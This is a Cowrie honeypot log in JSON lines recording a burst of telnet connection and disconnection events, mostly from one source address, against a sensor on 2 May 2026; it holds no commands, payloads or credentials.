{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38324,"dst_ip":"159.203.135.109","dst_port":23,"session":"088882729ec0","protocol":"telnet","message":"New connection: 162.55.233.176:38324 (159.203.135.109:23) [session: 088882729ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:13.613066Z"}
{"eventid":"cowrie.session.closed","duration":33.94314646720886,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:13.625327Z","src_ip":"162.55.233.176","session":"88012551b124","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.35455584526062,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:13.642432Z","src_ip":"162.55.233.176","session":"75ccda4bc162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.03935384750366,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:13.648292Z","src_ip":"162.55.233.176","session":"d08c3f98d2c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38330,"dst_ip":"159.203.135.109","dst_port":23,"session":"f92ea3f482b9","protocol":"telnet","message":"New connection: 162.55.233.176:38330 (159.203.135.109:23) [session: f92ea3f482b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:13.709683Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38334,"dst_ip":"159.203.135.109","dst_port":23,"session":"b45770f304fe","protocol":"telnet","message":"New connection: 162.55.233.176:38334 (159.203.135.109:23) [session: b45770f304fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:13.722377Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38338,"dst_ip":"159.203.135.109","dst_port":23,"session":"030fa56757af","protocol":"telnet","message":"New connection: 162.55.233.176:38338 (159.203.135.109:23) [session: 030fa56757af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:13.836234Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38352,"dst_ip":"159.203.135.109","dst_port":23,"session":"90d0ce648d7e","protocol":"telnet","message":"New connection: 162.55.233.176:38352 (159.203.135.109:23) [session: 90d0ce648d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:13.904614Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38362,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e8d8f59732b","protocol":"telnet","message":"New connection: 162.55.233.176:38362 (159.203.135.109:23) [session: 7e8d8f59732b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:13.931550Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38284,"dst_ip":"159.203.135.109","dst_port":23,"session":"1becf0144465","protocol":"telnet","message":"New connection: 162.55.233.176:38284 (159.203.135.109:23) [session: 1becf0144465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:14.058981Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38364,"dst_ip":"159.203.135.109","dst_port":23,"session":"76154ba584b7","protocol":"telnet","message":"New connection: 162.55.233.176:38364 (159.203.135.109:23) [session: 76154ba584b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:14.318166Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38380,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ffd5feab31f","protocol":"telnet","message":"New connection: 162.55.233.176:38380 (159.203.135.109:23) [session: 8ffd5feab31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:14.600356Z"}
{"eventid":"cowrie.session.closed","duration":31.2016122341156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:14.616339Z","src_ip":"162.55.233.176","session":"6abcf5eb0f22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38390,"dst_ip":"159.203.135.109","dst_port":23,"session":"08328c99ebf8","protocol":"telnet","message":"New connection: 162.55.233.176:38390 (159.203.135.109:23) [session: 08328c99ebf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:14.853686Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38402,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c24ab0b3b5d","protocol":"telnet","message":"New connection: 162.55.233.176:38402 (159.203.135.109:23) [session: 8c24ab0b3b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:14.916399Z"}
{"eventid":"cowrie.session.closed","duration":31.60489773750305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:14.943635Z","src_ip":"162.55.233.176","session":"e07359ad703a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.7515809535980225,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:15.145230Z","src_ip":"188.208.141.113","session":"bd85799fe1a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.660685777664185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:15.214620Z","src_ip":"162.55.233.176","session":"92d639686f78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07642960548401,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:15.826219Z","src_ip":"162.55.233.176","session":"086a138a9fda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.01953911781311,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:16.396688Z","src_ip":"162.55.233.176","session":"786264b7aacb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38416,"dst_ip":"159.203.135.109","dst_port":23,"session":"632cff4bac60","protocol":"telnet","message":"New connection: 162.55.233.176:38416 (159.203.135.109:23) [session: 632cff4bac60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:16.415421Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38424,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbc8553d6604","protocol":"telnet","message":"New connection: 162.55.233.176:38424 (159.203.135.109:23) [session: fbc8553d6604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:16.666348Z"}
{"eventid":"cowrie.session.closed","duration":34.827744007110596,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:17.116618Z","src_ip":"162.55.233.176","session":"c682e45e1b75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.930569648742676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:17.974214Z","src_ip":"162.55.233.176","session":"127d9c14e006","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.13067650794983,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:18.013877Z","src_ip":"206.189.32.23","session":"4af217682330","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37504,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fdccc465bc0","protocol":"telnet","message":"New connection: 188.208.141.113:37504 (10.17.0.5:23) [session: 0fdccc465bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:18.109069Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38440,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d96be4f4000","protocol":"telnet","message":"New connection: 162.55.233.176:38440 (159.203.135.109:23) [session: 8d96be4f4000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:18.322830Z"}
{"eventid":"cowrie.session.closed","duration":32.235716581344604,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:18.938164Z","src_ip":"162.55.233.176","session":"b783c8da1ef4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.50082230567932,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:19.224862Z","src_ip":"206.189.32.23","session":"a98eec05184b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.12767434120178,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:19.262547Z","src_ip":"162.55.233.176","session":"c2aa6970d69d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38448,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dec4710530f","protocol":"telnet","message":"New connection: 162.55.233.176:38448 (159.203.135.109:23) [session: 5dec4710530f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:19.723732Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38460,"dst_ip":"159.203.135.109","dst_port":23,"session":"9be6bc4a304c","protocol":"telnet","message":"New connection: 162.55.233.176:38460 (159.203.135.109:23) [session: 9be6bc4a304c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:19.917747Z"}
{"eventid":"cowrie.session.closed","duration":38.63637828826904,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:19.949114Z","src_ip":"162.55.233.176","session":"9bed839860fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38470,"dst_ip":"159.203.135.109","dst_port":23,"session":"447075a70b14","protocol":"telnet","message":"New connection: 162.55.233.176:38470 (159.203.135.109:23) [session: 447075a70b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:20.148800Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38484,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee1fce725d2a","protocol":"telnet","message":"New connection: 162.55.233.176:38484 (159.203.135.109:23) [session: ee1fce725d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:20.759004Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38486,"dst_ip":"159.203.135.109","dst_port":23,"session":"c174d26c429a","protocol":"telnet","message":"New connection: 162.55.233.176:38486 (159.203.135.109:23) [session: c174d26c429a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:20.862821Z"}
{"eventid":"cowrie.session.closed","duration":32.50409245491028,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:20.959953Z","src_ip":"162.55.233.176","session":"e7a63b968bac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.532980918884277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:21.024523Z","src_ip":"162.55.233.176","session":"710017d39bdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58413052558899,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:21.610648Z","src_ip":"162.55.233.176","session":"3d44476a07ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49142,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd9cdc78dfa6","protocol":"telnet","message":"New connection: 206.189.32.23:49142 (10.17.0.5:23) [session: fd9cdc78dfa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:21.637594Z"}
{"eventid":"cowrie.session.closed","duration":32.36400532722473,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:21.870314Z","src_ip":"162.55.233.176","session":"dabfcea57300","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10019063949585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:21.884918Z","src_ip":"162.55.233.176","session":"2df7e69706d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55056,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b171621299a","protocol":"telnet","message":"New connection: 188.208.141.113:55056 (10.17.0.5:23) [session: 8b171621299a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:21.970754Z"}
{"eventid":"cowrie.session.closed","duration":30.637669801712036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:22.440063Z","src_ip":"162.55.233.176","session":"b7f91e2d50f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.329848289489746,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:22.912102Z","src_ip":"162.55.233.176","session":"f481367bb678","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.273305654525757,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:23.382252Z","src_ip":"188.208.141.113","session":"0fdccc465bc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.10233688354492,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:23.542118Z","src_ip":"162.55.233.176","session":"5710123eb9d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.63238334655762,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:23.991641Z","src_ip":"162.55.233.176","session":"06e67f382a13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.55670237541199,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:24.421417Z","src_ip":"162.55.233.176","session":"125c26d01988","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906099796295166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:24.802368Z","src_ip":"162.55.233.176","session":"285ea37ebc7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.57757019996643,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:24.994297Z","src_ip":"162.55.233.176","session":"6016a29a3ca8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45924401283264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:25.180197Z","src_ip":"162.55.233.176","session":"1fecf99076f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.878796100616455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:25.361845Z","src_ip":"162.55.233.176","session":"b13fe0217b9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55070,"dst_ip":"10.17.0.5","dst_port":23,"session":"45b7342380a3","protocol":"telnet","message":"New connection: 188.208.141.113:55070 (10.17.0.5:23) [session: 45b7342380a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:25.378016Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":55520,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dc8e9fbe9a4","protocol":"telnet","message":"New connection: 206.189.32.23:55520 (10.17.0.5:23) [session: 7dc8e9fbe9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:25.487550Z"}
{"eventid":"cowrie.session.closed","duration":33.6109185218811,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:25.630671Z","src_ip":"162.55.233.176","session":"700a2039a55f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56954,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e4d86df828b","protocol":"telnet","message":"New connection: 162.55.233.176:56954 (159.203.135.109:23) [session: 5e4d86df828b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:25.745451Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56966,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbbe4dc76e76","protocol":"telnet","message":"New connection: 162.55.233.176:56966 (159.203.135.109:23) [session: fbbe4dc76e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:26.006426Z"}
{"eventid":"cowrie.session.closed","duration":39.18040609359741,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:26.515076Z","src_ip":"162.55.233.176","session":"6e1ca0548329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.809640407562256,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:26.780265Z","src_ip":"188.208.141.113","session":"8b171621299a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.33461117744446,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:26.867752Z","src_ip":"162.55.233.176","session":"2f7cdf2d7c32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21225428581238,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:26.947974Z","src_ip":"162.55.233.176","session":"e0805e5baaeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.07847857475281,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:27.174538Z","src_ip":"162.55.233.176","session":"c060712b5baf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56972,"dst_ip":"159.203.135.109","dst_port":23,"session":"51f2e15b2835","protocol":"telnet","message":"New connection: 162.55.233.176:56972 (159.203.135.109:23) [session: 51f2e15b2835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:27.389004Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56984,"dst_ip":"159.203.135.109","dst_port":23,"session":"697a14ccbd4e","protocol":"telnet","message":"New connection: 162.55.233.176:56984 (159.203.135.109:23) [session: 697a14ccbd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:27.558874Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56988,"dst_ip":"159.203.135.109","dst_port":23,"session":"15c745281e3e","protocol":"telnet","message":"New connection: 162.55.233.176:56988 (159.203.135.109:23) [session: 15c745281e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:27.637776Z"}
{"eventid":"cowrie.session.closed","duration":40.34943914413452,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:27.656169Z","src_ip":"162.55.233.176","session":"7ee1acdc7dc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56996,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e7c2a2b1d9b","protocol":"telnet","message":"New connection: 162.55.233.176:56996 (159.203.135.109:23) [session: 5e7c2a2b1d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:27.847504Z"}
{"eventid":"cowrie.session.closed","duration":31.29663372039795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:27.852360Z","src_ip":"162.55.233.176","session":"9a0ce514cc9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.89006519317627,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:28.237087Z","src_ip":"206.189.32.23","session":"c356f9636055","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.434869050979614,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:28.609757Z","src_ip":"162.55.233.176","session":"e0fb081804ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58514,"dst_ip":"10.17.0.5","dst_port":23,"session":"606cf1804724","protocol":"telnet","message":"New connection: 206.189.32.23:58514 (10.17.0.5:23) [session: 606cf1804724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:28.698260Z"}
{"eventid":"cowrie.session.closed","duration":39.32117009162903,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:28.735312Z","src_ip":"162.55.233.176","session":"fd7278c3eae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.5139377117157,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:28.914472Z","src_ip":"162.55.233.176","session":"0cb56957a8d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57012,"dst_ip":"159.203.135.109","dst_port":23,"session":"1be14a4a7121","protocol":"telnet","message":"New connection: 162.55.233.176:57012 (159.203.135.109:23) [session: 1be14a4a7121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:28.995129Z"}
{"eventid":"cowrie.session.closed","duration":34.78299951553345,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:29.014400Z","src_ip":"162.55.233.176","session":"1e95c3e09b65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.080716133117676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:29.862518Z","src_ip":"162.55.233.176","session":"85d26439f6a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.71804189682007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:29.889321Z","src_ip":"162.55.233.176","session":"7d53f0e7fa28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.814600229263306,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:29.897958Z","src_ip":"162.55.233.176","session":"6bb4abd02087","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43623661994934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:30.293428Z","src_ip":"162.55.233.176","session":"eb8786b1c135","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57016,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab319aa96d41","protocol":"telnet","message":"New connection: 162.55.233.176:57016 (159.203.135.109:23) [session: ab319aa96d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:30.331253Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57022,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cbda60abaa3","protocol":"telnet","message":"New connection: 162.55.233.176:57022 (159.203.135.109:23) [session: 0cbda60abaa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:30.430368Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57024,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fd9b474c344","protocol":"telnet","message":"New connection: 162.55.233.176:57024 (159.203.135.109:23) [session: 5fd9b474c344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:30.447576Z"}
